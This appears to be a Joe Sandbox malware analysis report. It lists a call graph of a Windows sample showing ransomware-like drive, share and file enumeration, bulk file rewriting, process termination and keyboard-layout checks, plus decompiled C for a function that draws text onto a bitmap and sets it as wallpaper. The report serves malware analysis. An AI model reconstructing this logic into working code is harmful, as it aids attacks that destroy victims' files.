4272->4273 4273->4265 4274 b6484c 3 API calls 4273->4274 4275 b61e2a 4274->4275 4275->4265 4276 b6484c 3 API calls 4275->4276 4276->4265 4278 b64f49 4277->4278 4280 b64f1e 4277->4280 4278->4107 4280->4278 4281 b63c6b RtlFreeHeap 4280->4281 4282 b64f50 4280->4282 4281->4280 4283 b64f64 4282->4283 4285 b64fda 4282->4285 4284 b63c1e 3 API calls 4283->4284 4283->4285 4284->4285 4285->4280 4286->4133 4287->4132 4289 b63c1e 3 API calls 4288->4289 4290 b64e79 4289->4290 4291 b64cad 6 API calls 4290->4291 4294 b64ea0 4290->4294 4292 b64e91 4291->4292 4293 b63c6b RtlFreeHeap 4292->4293 4295 b64e99 4293->4295 4294->4140 4295->4294 4296 b63c6b RtlFreeHeap 4295->4296 4296->4294 4298 b63c1e 3 API calls 4297->4298 4300 b665f3 4298->4300 4299 b6363d 4305 b6667a WNetOpenEnumW 4299->4305 4300->4299 4301 b6662a GetDriveTypeW 4300->4301 4302 b6666b 4300->4302 4318 b66299 4300->4318 4301->4300 4303 b63c6b RtlFreeHeap 4302->4303 4303->4299 4306 b63647 4305->4306 4307 b6669e 4305->4307 4306->3611 4308 b63c1e 3 API calls 4307->4308 4309 b666b1 4308->4309 4310 b666c5 4309->4310 4311 b666b8 WNetCloseEnum 4309->4311 4312 b666c7 WNetEnumResourceW 4310->4312 4313 b66723 4310->4313 4317 b6667a 28 API calls 4310->4317 4437 b6651d 4310->4437 4311->4306 4312->4310 4314 b63c6b RtlFreeHeap 4313->4314 4315 b66729 WNetCloseEnum 4314->4315 4315->4306 4317->4310 4336 b6272e 4318->4336 4319 b662c0 4330 b662dc 4319->4330 4343 b6658b 4319->4343 4322 b66499 4322->4300 4323 b63c6b RtlFreeHeap 4324 b6647f 4323->4324 4324->4322 4324->4323 4325 b63c6b RtlFreeHeap 4325->4330 4326 b6634f FindFirstFileW 4326->4330 4327 b66452 FindNextFileW 4328 b6646a FindClose 4327->4328 4327->4330 4328->4330 4329 b6658b 3 API calls 4329->4330 4330->4324 4330->4325 4330->4326 4330->4327 4330->4328 4330->4329 4331 b62712 7 API calls 4330->4331 4334 b6272e 5 API calls 4330->4334 4353 b62ead 4330->4353 4331->4330 4334->4330 4337 b62740 4336->4337 4338 b63c1e 3 API calls 4337->4338 4339 b62753 4338->4339 4340 b62786 4339->4340 4341 b6276e GetFileAttributesW 4339->4341 4340->4319 4342 b63c6b RtlFreeHeap 4341->4342 4342->4340 4344 b63c1e 3 API calls 4343->4344 4345 b66596 4344->4345 4346 b651b7 3 API calls 4345->4346 4347 b662d4 4345->4347 4346->4347 4348 b62712 4347->4348 4362 b6351c 4348->4362 4387 b628a9 4353->4387 4357 b62eda 4360 b62ee2 4357->4360 4412 b661b4 PostQueuedCompletionStatus 4357->4412 4361 b62ee8 4360->4361 4406 b6287f 4360->4406 4361->4330 4363 b63529 4362->4363 4364 b63c1e 3 API calls 4363->4364 4365 b6353c 4364->4365 4370 b6271d 4365->4370 4384 b664a0 CreateFileW 4365->4384 4367 b6356b 4368 b63c6b RtlFreeHeap 4367->4368 4369 b63573 4368->4369 4369->4370 4385 b664c6 WriteFile 4369->4385 4374 b634ad 4370->4374 4372 b63596 4373 b63db7 FindCloseChangeNotification 4372->4373 4373->4370 4375 b634b9 4374->4375 4376 b63c1e 3 API calls 4375->4376 4378 b634cc 4376->4378 4377 b62725 4377->4330 4378->4377 4386 b664a0 CreateFileW 4378->4386 4380 b634fb 4381 b63c6b RtlFreeHeap 4380->4381 4382 b63503 4381->4382 4382->4377 4383 b63db7 FindCloseChangeNotification 4382->4383 4383->4377 4384->4367 4385->4372 4386->4380 4388 b628bb 4387->4388 4413 b6616f 4388->4413 4390 b628d5 4391 b628d9 RtlGetLastWin32Error 4390->4391 4394 b62900 4390->4394 4399 b628e3 4391->4399 4402 b62912 4391->4402 4395 b62916 RtlGetLastWin32Error 4394->4395 4396 b6296a 4394->4396 4401 b6292d GetFileAttributesW 4394->4401 4404 b6293d SetFileAttributesW 4394->4404 4416 b661ea CreateFileW 4394->4416 4395->4394 4400 b6297a 4395->4400 4426 b62986 4396->4426 4397 b6616f RtlAllocateHeap 4397->4399 4399->4390 4399->4397 4425 b64954 Sleep 4399->4425 4422 b66183 4400->4422 4401->4394 4401->4400 4402->4361 4405 b6603a CreateIoCompletionPort 4402->4405 4404->4394 4404->4400 4405->4357 4407 b62894 4406->4407 4432 b661ce 4407->4432 4410 b66183 RtlFreeHeap 4411 b628a3 4410->4411 4411->4361 4412->4360 4414 b63bc0 RtlAllocateHeap 4413->4414 4415 b6617f 4414->4415 4415->4390 4417 b6621e 4416->4417 4418 b6621a 4416->4418 4419 b651b7 3 API calls 4417->4419 4418->4394 4420 b66226 4419->4420 4420->4418 4421 b63db7 FindCloseChangeNotification 4420->4421 4421->4418 4431 b63c08 RtlFreeHeap 4422->4431 4424 b66193 4424->4402 4425->4399 4427 b65722 9 API calls 4426->4427 4428 b629bf 4427->4428 4429 b658f5 9 API calls 4428->4429 4430 b62a0f 4429->4430 4430->4402 4431->4424 4433 b63db7 FindCloseChangeNotification 4432->4433 4434 b661dd 4433->4434 4435 b63c6b RtlFreeHeap 4434->4435 4436 b6289a 4435->4436 4436->4410 4438 b63c1e 3 API calls 4437->4438 4440 b6652e 4438->4440 4439 b66583 4439->4310 4440->4439 4441 b66299 28 API calls 4440->4441 4442 b6657d 4441->4442 4443 b63c6b RtlFreeHeap 4442->4443 4443->4439 4471 b63bdd HeapCreate 4444->4471 4446 b6611a 4447 b62bd7 4446->4447 4448 b66128 CreateIoCompletionPort 4446->4448 4447->3904 4447->3911 4449 b6613e 4448->4449 4450 b66148 4448->4450 4479 b63bfa HeapDestroy 4449->4479 4472 b660be 4450->4472 4455 b6615e 4456 b63db7 FindCloseChangeNotification 4455->4456 4456->4447 4550 b64634 GetSystemInfo 4457->4550 4459 b66077 4460 b66099 4459->4460 4461 b66081 PostQueuedCompletionStatus 4459->4461 4463 b6609b 4460->4463 4464 b660a8 4460->4464 4552 b64634 GetSystemInfo 4461->4552 4463->4460 4553 b64954 Sleep 4463->4553 4551 b63bfa HeapDestroy 4464->4551 4467 b660af 4468 b63db7 FindCloseChangeNotification 4467->4468 4469 b660b7 4468->4469 4469->3911 4470->3910 4471->4446 4481 b64634 GetSystemInfo 4472->4481 4474 b66102 4474->4447 4480 b63bfa HeapDestroy 4474->4480 4475 b660da CreateThread 4475->4474 4477 b660d3 4475->4477 4483 b62c76 4475->4483 4476 b63db7 FindCloseChangeNotification 4476->4477 4477->4474 4477->4475 4477->4476 4482 b64634 GetSystemInfo 4477->4482 4479->4447 4480->4455 4481->4477 4482->4477 4484 b643c7 11 API calls 4483->4484 4490 b62c82 4484->4490 4486 b62d2a 4487 b6446f 6 API calls 4486->4487 4489 b62d33 4487->4489 4488 b62cf1 RtlGetLastWin32Error 4488->4490 4490->4486 4490->4488 4496 b62a54 4490->4496 4507 b62da9 4490->4507 4516 b62d3c 4490->4516 4525 b62b3a 4490->4525 4535 b66197 GetQueuedCompletionStatus 4490->4535 4536 b6285d 4490->4536 4497 b63db7 FindCloseChangeNotification 4496->4497 4498 b62a68 4497->4498 4499 b63c1e 3 API calls 4498->4499 4500 b62a81 4499->4500 4501 b62ab2 4500->4501 4539 b665d1 MoveFileW 4500->4539 4501->4501 4504 b6287f 2 API calls 4501->4504 4503 b62aaa 4505 b63c6b RtlFreeHeap 4503->4505 4506 b62b31 4504->4506 4505->4501 4506->4490 4510 b62dc4 4507->4510 4509 b62df9 4511 b62e20 4509->4511 4512 b62dfe RtlGetLastWin32Error 4509->4512 4540 b6627f WriteFile 4510->4540 4511->4490 4512->4511 4515 b62e0a 4512->4515 4515->4509 4541 b64954 Sleep 4515->4541 4542 b6627f WriteFile 4515->4542 4517 b62d5b 4516->4517 4543 b6627f WriteFile 4517->4543 4519 b62d7c 4520 b62da5 4519->4520 4521 b62d81 RtlGetLastWin32Error 4519->4521 4520->4490 4521->4520 4522 b62d8d 4521->4522 4522->4519 4544 b64954 Sleep 4522->4544 4545 b6627f WriteFile 4522->4545 4546 b6624b ReadFile 4525->4546 4527 b62b63 RtlGetLastWin32Error 4528 b62b5e 4527->4528 4532 b62b8f 4527->4532 4528->4527 4529 b62b91 4528->4529 4528->4532 4533 b62b74 4528->4533 4530 b6285d PostQueuedCompletionStatus 4529->4530 4530->4532 4532->4490 4533->4528 4547 b64954 Sleep 4533->4547 4548 b6624b ReadFile 4533->4548 4535->4490 4549 b661b4 PostQueuedCompletionStatus 4536->4549 4538 b6287a 4538->4490 4539->4503 4540->4509 4541->4515 4542->4515 4543->4519 4544->4522 4545->4522 4546->4528 4547->4533 4548->4533 4549->4538 4550->4459 4551->4467 4552->4459 4553->4463 4555 b6470f 9 API calls 4554->4555 4556 b638bb 4555->4556 4557 b63c1e 3 API calls 4556->4557 4571 b6395c 4556->4571 4559 b638d5 4557->4559 4558 b6470f 9 API calls 4558->4559 4559->4558 4560 b63921 4559->4560 4559->4571 4588 b649a1 GetTempPathW 4560->4588 4562 b63950 4563 b63956 4562->4563 4565 b6395e 4562->4565 4564 b63c6b RtlFreeHeap 4563->4564 4564->4571 4566 b63c1e 3 API calls 4565->4566 4567 b6397b 4566->4567 4568 b63c6b RtlFreeHeap 4567->4568 4567->4571 4569 b6398a 4568->4569 4570 b63c6b RtlFreeHeap 4569->4570 4570->4571 4571->3924 4573 b63716 LocalAlloc 4572->4573 4577 b63894 SystemParametersInfoW 4572->4577 4575 b63796 4573->4575 4576 b6379d GlobalAlloc 4573->4576 4575->4576 4576->4577 4578 b637d3 GetDIBits 4576->4578 4577->3930 4578->4577 4579 b637f0 CreateFileW 4578->4579 4579->4577 4580 b63813 WriteFile 4579->4580 4581 b63876 4580->4581 4582 b63859 WriteFile 4580->4582 4585 b63db7 FindCloseChangeNotification 4581->4585 4582->4581 4583 b63879 WriteFile 4582->4583 4583->4581 4584 b63897 4583->4584 4586 b63db7 FindCloseChangeNotification 4584->4586 4585->4577 4587 b6389c GlobalFree 4586->4587 4587->4577 4589 b649b4 4588->4589 4590 b649b2 4588->4590 4591 b63c1e 3 API calls 4589->4591 4590->4562 4592 b649be 4591->4592 4593 b649c5 GetTempPathW 4592->4593 4594 b649d7 4592->4594 4593->4594 4595 b649d1 4593->4595 4594->4562 4596 b63c6b RtlFreeHeap 4595->4596 4596->4594 4598 b61cb0 21 API calls 4597->4598 4599 b626cd 4598->4599 4605 b6270b 4599->4605 4608 b63074 4599->4608 4601 b626dd 4607 b626fe 4601->4607 4622 b66826 4601->4622 4603 b63c6b RtlFreeHeap 4603->4605 4605->3937 4606 b63c6b RtlFreeHeap 4606->4607 4607->4603 4607->4605 4609 b63086 4608->4609 4610 b63c1e 3 API calls 4609->4610 4611 b63093 4610->4611 4612 b6470f 9 API calls 4611->4612 4621 b63499 4611->4621 4613 b63238 4612->4613 4614 b6470f 9 API calls 4613->4614 4615 b633bf 4614->4615 4616 b6470f 9 API calls 4615->4616 4618 b633e1 4616->4618 4617 b6470f 9 API calls 4617->4618 4618->4617 4619 b63423 4618->4619 4620 b6470f 9 API calls 4619->4620 4620->4621 4621->4601 4624 b6684e 4622->4624 4623 b669aa RtlGetLastWin32Error 4623->4624 4624->4623 4625 b626f6 4624->4625 4626 b669d8 4624->4626 4625->4606 4626->4625 4628 b6673f 4626->4628 4630 b6675b 4628->4630 4629 b66811 4629->4625 4630->4629 4631 b63c1e 3 API calls 4630->4631 4632 b667b8 4630->4632 4633 b63c6b RtlFreeHeap 4630->4633 4631->4630 4632->4629 4634 b63c1e 3 API calls 4632->4634 4633->4630 4635 b667e9 4634->4635 4635->4629 4636 b63c6b RtlFreeHeap 4635->4636 4636->4629 4638 b63d6c GetKeyboardLayoutList 4637->4638 4638->3942 4638->3943 4643 b65414 4639->4643 4646 b653ce 4639->4646 4641 b6541f 4650 b63bfa HeapDestroy 4641->4650 4649 b63c08 RtlFreeHeap 4643->4649 4644 b65426 4644->3951 4645 b63c6b RtlFreeHeap 4645->4646 4646->4643 4646->4645 4648 b63c08 RtlFreeHeap 4646->4648 4648->4646 4649->4641 4650->4644 4757 b61142 4758 b64cad 6 API calls 4757->4758 4759 b61151 4758->4759 4760 b64cff 6 API calls 4759->4760 4764 b61178 4759->4764 4761 b61169 4760->4761 4762 b63c6b RtlFreeHeap 4761->4762 4763 b61171 4762->4763 4763->4764 4765 b63c6b RtlFreeHeap 4763->4765 4765->4764 4769 b6266e 4770 b6267e 4769->4770 4771 b62690 OpenProcess 4770->4771 4774 b626b2 4770->4774 4772 b626a3 TerminateProcess 4771->4772 4771->4774 4773 b63db7 FindCloseChangeNotification 4772->4773 4773->4774 4775 b6102c 4776 b64cad 6 API calls 4775->4776 4777 b6103a 4776->4777 4651 b65bcd 4652 b65bd6 4651->4652 4654 b65bf3 4652->4654 4657 b65dcf 4652->4657 4669 b65d23 4654->4669 4658 b65dfb 4657->4658 4660 b65d23 9 API calls 4658->4660 4673 b65f08 4658->4673 4677 b65c28 4658->4677 4681 b65f7a 4658->4681 4685 b65fec 4658->4685 4689 b65cdf 4658->4689 4693 b65f41 4658->4693 4697 b65c61 4658->4697 4701 b65fb3 4658->4701 4659 b65e97 4659->4652 4660->4659 4670 b65d40 4669->4670 4705 b66025 4670->4705 4672 b65c17 GetProcAddress 4674 b65f25 4673->4674 4675 b65dcf 8 API calls 4674->4675 4676 b65f3a LoadLibraryA 4675->4676 4676->4659 4678 b65c45 4677->4678 4679 b65dcf 8 API calls 4678->4679 4680 b65c5a LoadLibraryA 4679->4680 4680->4659 4682 b65f97 4681->4682 4683 b65dcf 8 API calls 4682->4683 4684 b65fac LoadLibraryA 4683->4684 4684->4659 4686 b66009 4685->4686 4687 b65dcf 8 API calls 4686->4687 4688 b6601e LoadLibraryA 4687->4688 4688->4659 4690 b65cfb 4689->4690 4691 b65dcf 8 API calls 4690->4691 4692 b65d10 LoadLibraryA 4691->4692 4692->4659 4694 b65f5e 4693->4694 4695 b65dcf 8 API calls 4694->4695 4696 b65f73 LoadLibraryA 4695->4696 4696->4659 4698 b65c7e 4697->4698 4699 b65dcf 8 API calls 4698->4699 4700 b65c93 LoadLibraryA 4699->4700 4700->4659 4702 b65fd0 4701->4702 4703 b65dcf 8 API calls 4702->4703 4704 b65fe5 LoadLibraryA 4703->4704 4704->4659 4706 b65dcf 8 API calls 4705->4706 4707 b66035 LoadLibraryA 4706->4707 4707->4672 4778 b635a8 4779 b635d3 4778->4779 4780 b635b1 4778->4780 4780->4779 4782 b6364f 4780->4782 4783 b66299 28 API calls 4782->4783 4784 b63694 4783->4784 4784->4779 4785 b64569 GetNativeSystemInfo

                                                                                  Executed Functions

                                                                                  Control-flow Graph

                                                                                  C-Code - Quality: 95%
                                                                                  			E00B639B0() {
                                                                                  				signed int _v8;
                                                                                  				int _v12;
                                                                                  				signed int _v16;
                                                                                  				struct HDC__* _v20;
                                                                                  				void* _v24;
                                                                                  				int _v28;
                                                                                  				struct HDC__* _v32;
                                                                                  				int _v36;
                                                                                  				void* _v40;
                                                                                  				struct tagRECT _v56;
                                                                                  				struct HDC__* _t56;
                                                                                  				struct HDC__* _t57;
                                                                                  				int _t59;
                                                                                  				int _t60;
                                                                                  				int _t61;
                                                                                  				void* _t62;
                                                                                  				int _t67;
                                                                                  				void* _t68;
                                                                                  				struct HBRUSH__* _t73;
                                                                                  				signed int _t77;
                                                                                  				int _t91;
                                                                                  				signed int _t92;
                                                                                  				signed int _t94;
                                                                                  				signed int _t96;
                                                                                  				struct HDC__* _t101;
                                                                                  				struct HDC__* _t102;
                                                                                  				signed int _t104;
                                                                                  				signed int _t111;
                                                                                  				signed int _t112;
                                                                                  				signed char _t114;
                                                                                  				int _t121;
                                                                                  				void* _t123;
                                                                                  				struct HDC__* _t128;
                                                                                  				int _t132;
                                                                                  				int _t133;
                                                                                  				void* _t134;
                                                                                  
                                                                                  				_t56 = GetDC(0);
                                                                                  				_t101 = _t56;
                                                                                  				_v32 = _t101;
                                                                                  				if(_t101 != 0) {
                                                                                  					_t57 = CreateCompatibleDC(_t101); // executed
                                                                                  					_t128 = _t57;
                                                                                  					_v20 = _t128;
                                                                                  					if(_t128 == 0) {
                                                                                  						L17:
                                                                                  						return ReleaseDC(0, _t101);
                                                                                  					}
                                                                                  					_t59 = GetDeviceCaps(_t101, 8);
                                                                                  					_t121 = _t59;
                                                                                  					_t60 = 0xa;
                                                                                  					_v28 = _t121;
                                                                                  					_v16 = _t60;
                                                                                  					_t61 = GetDeviceCaps(_t101, _t60);
                                                                                  					_v8 = _t61;
                                                                                  					_t62 = CreateCompatibleBitmap(_t101, _t121, _t61); // executed
                                                                                  					_v24 = _t62;
                                                                                  					if(_t62 == 0) {
                                                                                  						L16:
                                                                                  						DeleteDC(_t128);
                                                                                  						goto L17;
                                                                                  					}
                                                                                  					SelectObject(_t128, _t62);
                                                                                  					_t67 =  ~(MulDiv(0x12, GetDeviceCaps(_t101, 0x5a), 0x48));
                                                                                  					_v36 = _t67;
                                                                                  					_t68 = CreateFontW(_t67, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 4, 0, 0);
                                                                                  					_v40 = _t68;
                                                                                  					if(_t68 == 0) {
                                                                                  						L15:
                                                                                  						DeleteObject(_v24);
                                                                                  						goto L16;
                                                                                  					}
                                                                                  					SelectObject(_t128, _t68);
                                                                                  					SetBkMode(_t128, 1);
                                                                                  					SetTextColor(_t128, 0xffffff);
                                                                                  					_t73 = GetStockObject(2);
                                                                                  					_v56.left = _v56.left & 0x00000000;
                                                                                  					_v56.top = _v56.top & 0x00000000;
                                                                                  					_v56.right = _t121;
                                                                                  					_v56.bottom = _v8;
                                                                                  					FillRect(_t128,  &_v56, _t73);
                                                                                  					_t104 = _v8;
                                                                                  					_t77 = _t104 * _t121;
                                                                                  					asm("cdq");
                                                                                  					_t114 = _t77 % _v16;
                                                                                  					if(_t77 / _v16 <= 0) {
                                                                                  						L12:
                                                                                  						asm("cdq");
                                                                                  						asm("cdq");
                                                                                  						_v56.top = (_v56.bottom - _t114 >> 1) - (_v8 - _t114 >> 1) - _v36;
                                                                                  						DrawTextW(_t128,  *0xb7d704, 0xffffffff,  &_v56, 0x11); // executed
                                                                                  						_t123 = E00B638AB(_t114, _t144);
                                                                                  						if(_t123 != 0) {
                                                                                  							E00B636F6(_t114, _v24, _t101, _t123); // executed
                                                                                  							SystemParametersInfoW(0x14, 0, _t123, 3);
                                                                                  							E00B63C6B(_t123);
                                                                                  						}
                                                                                  						DeleteObject(_v40);
                                                                                  						goto L15;
                                                                                  					}
                                                                                  					_t91 = 0;
                                                                                  					_v12 = 0;
                                                                                  					if(_t121 <= 0) {
                                                                                  						goto L12;
                                                                                  					}
                                                                                  					_t102 = _t128;
                                                                                  					do {
                                                                                  						_v16 = _v16 & 0x00000000;
                                                                                  						if(_t104 <= 0) {
                                                                                  							goto L10;
                                                                                  						} else {
                                                                                  							goto L8;
                                                                                  						}
                                                                                  						do {
                                                                                  							L8:
                                                                                  							_t92 = E00B6470F(_t114, 0, 0xffffffff);
                                                                                  							_t94 = E00B6470F(_t92 % 0xc8, 0, 0xffffffff);
                                                                                  							_t111 = 0x1e;
                                                                                  							_t96 = E00B6470F(_t94 % _t111, 0, 0xffffffff);
                                                                                  							_t134 = _t134 + 0x18;
                                                                                  							_t132 = _v16;
                                                                                  							_t112 = 0x1e;
                                                                                  							_t114 = _t96 % _t112;
                                                                                  							SetPixel(_t102, _v12, _t132, _t114 & 0x000000ff | (_t94 % _t111 & 0x000000ff | (_t92 % 0x000000c8 & 0x000000ff) << 0x00000008) << 0x00000008); // executed
                                                                                  							_t104 = _v8;
                                                                                  							_t133 = _t132 + 1;
                                                                                  							_v16 = _t133;
                                                                                  						} while (_t133 < _t104);
                                                                                  						_t121 = _v28;
                                                                                  						_t91 = _v12;
                                                                                  						L10:
                                                                                  						_t91 = _t91 + 1;
                                                                                  						_v12 = _t91;
                                                                                  						_t144 = _t91 - _t121;
                                                                                  					} while (_t91 < _t121);
                                                                                  					_t101 = _v32;
                                                                                  					_t128 = _v20;
                                                                                  					goto L12;
                                                                                  				}
                                                                                  				return _t56;
                                                                                  			}







































                                                                                  0x00b639b9
                                                                                  0x00b639bf
                                                                                  0x00b639c1
                                                                                  0x00b639c6
                                                                                  0x00b639ce
                                                                                  0x00b639d4
                                                                                  0x00b639d6
                                                                                  0x00b639db
                                                                                  0x00b63bb1
                                                                                  0x00000000
                                                                                  0x00b63bba
                                                                                  0x00b639e5
                                                                                  0x00b639ed
                                                                                  0x00b639ef
                                                                                  0x00b639f2
                                                                                  0x00b639f5
                                                                                  0x00b639f8
                                                                                  0x00b63a01
                                                                                  0x00b63a04
                                                                                  0x00b63a0a
                                                                                  0x00b63a0f
                                                                                  0x00b63ba9
                                                                                  0x00b63baa
                                                                                  0x00000000
                                                                                  0x00b63bb0
                                                                                  0x00b63a17
                                                                                  0x00b63a33
                                                                                  0x00b63a45
                                                                                  0x00b63a48
                                                                                  0x00b63a4e
                                                                                  0x00b63a53
                                                                                  0x00b63ba0
                                                                                  0x00b63ba3
                                                                                  0x00000000
                                                                                  0x00b63ba3
                                                                                  0x00b63a5b
                                                                                  0x00b63a64
                                                                                  0x00b63a70
                                                                                  0x00b63a78
                                                                                  0x00b63a81
                                                                                  0x00b63a85
                                                                                  0x00b63a8d
                                                                                  0x00b63a92
                                                                                  0x00b63a95
                                                                                  0x00b63a9b
                                                                                  0x00b63aa0
                                                                                  0x00b63aa3
                                                                                  0x00b63aa4
                                                                                  0x00b63aa9
                                                                                  0x00b63b3c
                                                                                  0x00b63b3f
                                                                                  0x00b63b47
                                                                                  0x00b63b61
                                                                                  0x00b63b65
                                                                                  0x00b63b70
                                                                                  0x00b63b74
                                                                                  0x00b63b7b
                                                                                  0x00b63b8a
                                                                                  0x00b63b91
                                                                                  0x00b63b96
                                                                                  0x00b63b9a
                                                                                  0x00000000
                                                                                  0x00b63b9a
                                                                                  0x00b63aaf
                                                                                  0x00b63ab1
                                                                                  0x00b63ab6
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63abc
                                                                                  0x00b63abe
                                                                                  0x00b63abe
                                                                                  0x00b63ac4
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63ac6
                                                                                  0x00b63ac6
                                                                                  0x00b63aca
                                                                                  0x00b63ae2
                                                                                  0x00b63ae9
                                                                                  0x00b63afa
                                                                                  0x00b63aff
                                                                                  0x00b63b02
                                                                                  0x00b63b09
                                                                                  0x00b63b0a
                                                                                  0x00b63b17
                                                                                  0x00b63b1d
                                                                                  0x00b63b20
                                                                                  0x00b63b21
                                                                                  0x00b63b24
                                                                                  0x00b63b28
                                                                                  0x00b63b2b
                                                                                  0x00b63b2e
                                                                                  0x00b63b2e
                                                                                  0x00b63b2f
                                                                                  0x00b63b32
                                                                                  0x00b63b32
                                                                                  0x00b63b36
                                                                                  0x00b63b39
                                                                                  0x00000000
                                                                                  0x00b63b39
                                                                                  0x00b63bbf

                                                                                  APIs
                                                                                  • GetDC.USER32(00000000), ref: 00B639B9
                                                                                  • CreateCompatibleDC.GDI32(00000000), ref: 00B639CE
                                                                                  • GetDeviceCaps.GDI32(00000000,00000008), ref: 00B639E5
                                                                                  • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00B639F8
                                                                                  • CreateCompatibleBitmap.GDI32(00000000,00000000,00000000), ref: 00B63A04
                                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00B63A17
                                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B63A20
                                                                                  • MulDiv.KERNEL32(00000012,00000000,00000048), ref: 00B63A2B
                                                                                  • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000004,00000000,00000000), ref: 00B63A48
                                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00B63A5B
                                                                                  • SetBkMode.GDI32(00000000,00000001), ref: 00B63A64
                                                                                  • SetTextColor.GDI32(00000000,00FFFFFF), ref: 00B63A70
                                                                                  • GetStockObject.GDI32(00000002), ref: 00B63A78
                                                                                  • FillRect.USER32(00000000,00000000,00000000), ref: 00B63A95
                                                                                  • SetPixel.GDI32(00000000,?,00000000,00000000), ref: 00B63B17
                                                                                  • DrawTextW.USER32(00000000,000000FF,00000000,00000011,?), ref: 00B63B65
                                                                                  • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 00B63B8A
                                                                                  • DeleteObject.GDI32(?), ref: 00B63B9A
                                                                                  • DeleteObject.GDI32(?), ref: 00B63BA3
                                                                                  • DeleteDC.GDI32(00000000), ref: 00B63BAA
                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 00B63BB4
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Object$CapsCreateDeleteDevice$CompatibleSelectText$BitmapColorDrawFillFontInfoModeParametersPixelRectReleaseStockSystem
                                                                                  • String ID:
                                                                                  • API String ID: 830383330-0
                                                                                  • Opcode ID: d616da30350f6e12fdd970d0301770b34585674a691ccdc95a14b57c94124d0b
                                                                                  • Instruction ID: 9776208f28c108864a0e5134c8d39307798a9b301ed553f200efce51b12ae1c8
                                                                                  • Opcode Fuzzy Hash: d616da30350f6e12fdd970d0301770b34585674a691ccdc95a14b57c94124d0b
                                                                                  • Instruction Fuzzy Hash: 9651A1B1A00219AFEB149BA5DD4AFAE7FF9EB48712F14015DF909E72D0DF744A408B60
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 175 b64b55-b64b64 timeBeginPeriod timeGetTime 176 b64b66-b64b76 Sleep timeGetTime 175->176 176->176 177 b64b78-b64b79 176->177
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B64B55() {
                                                                                  				long _t3;
                                                                                  				long _t4;
                                                                                  
                                                                                  				timeBeginPeriod(1);
                                                                                  				_t4 = timeGetTime();
                                                                                  				do {
                                                                                  					Sleep(1); // executed
                                                                                  					_t3 = timeGetTime();
                                                                                  				} while (_t4 == _t3);
                                                                                  				return _t3;
                                                                                  			}





                                                                                  0x00b64b58
                                                                                  0x00b64b64
                                                                                  0x00b64b66
                                                                                  0x00b64b68
                                                                                  0x00b64b6e
                                                                                  0x00b64b74
                                                                                  0x00b64b79

                                                                                  APIs
                                                                                  • timeBeginPeriod.WINMM(00000001,?,00B64AC1,00000000,00000000,00000000,?,00000030,00000000,?,?,00B65784,?,00000020,00000000), ref: 00B64B58
                                                                                  • timeGetTime.WINMM(?,00B65784,?,00000020,00000000,?,00B6572D,?,?,00B62427,?,00B7D620), ref: 00B64B5E
                                                                                  • Sleep.KERNEL32(00000001,?,00B65784,?,00000020,00000000,?,00B6572D,?,?,00B62427,?,00B7D620), ref: 00B64B68
                                                                                  • timeGetTime.WINMM(?,00B65784,?,00000020,00000000,?,00B6572D,?,?,00B62427,?,00B7D620), ref: 00B64B6E
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: time$Time$BeginPeriodSleep
                                                                                  • String ID:
                                                                                  • API String ID: 4118631919-0
                                                                                  • Opcode ID: fb3649c9bab5efe62e7aedbfaa2986ca8890721422ce5bdf3a2ba7dc00b285fd
                                                                                  • Instruction ID: 22c0b6129e2a1ec4c168a76d6c8297248a47aaa5ada8b64522449d872350ee6a
                                                                                  • Opcode Fuzzy Hash: fb3649c9bab5efe62e7aedbfaa2986ca8890721422ce5bdf3a2ba7dc00b285fd
                                                                                  • Instruction Fuzzy Hash: A4C012314402288FD3202BB0FC0EB983FA0EB047A2F05006CF80EA72E09EA14CC08AE4
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
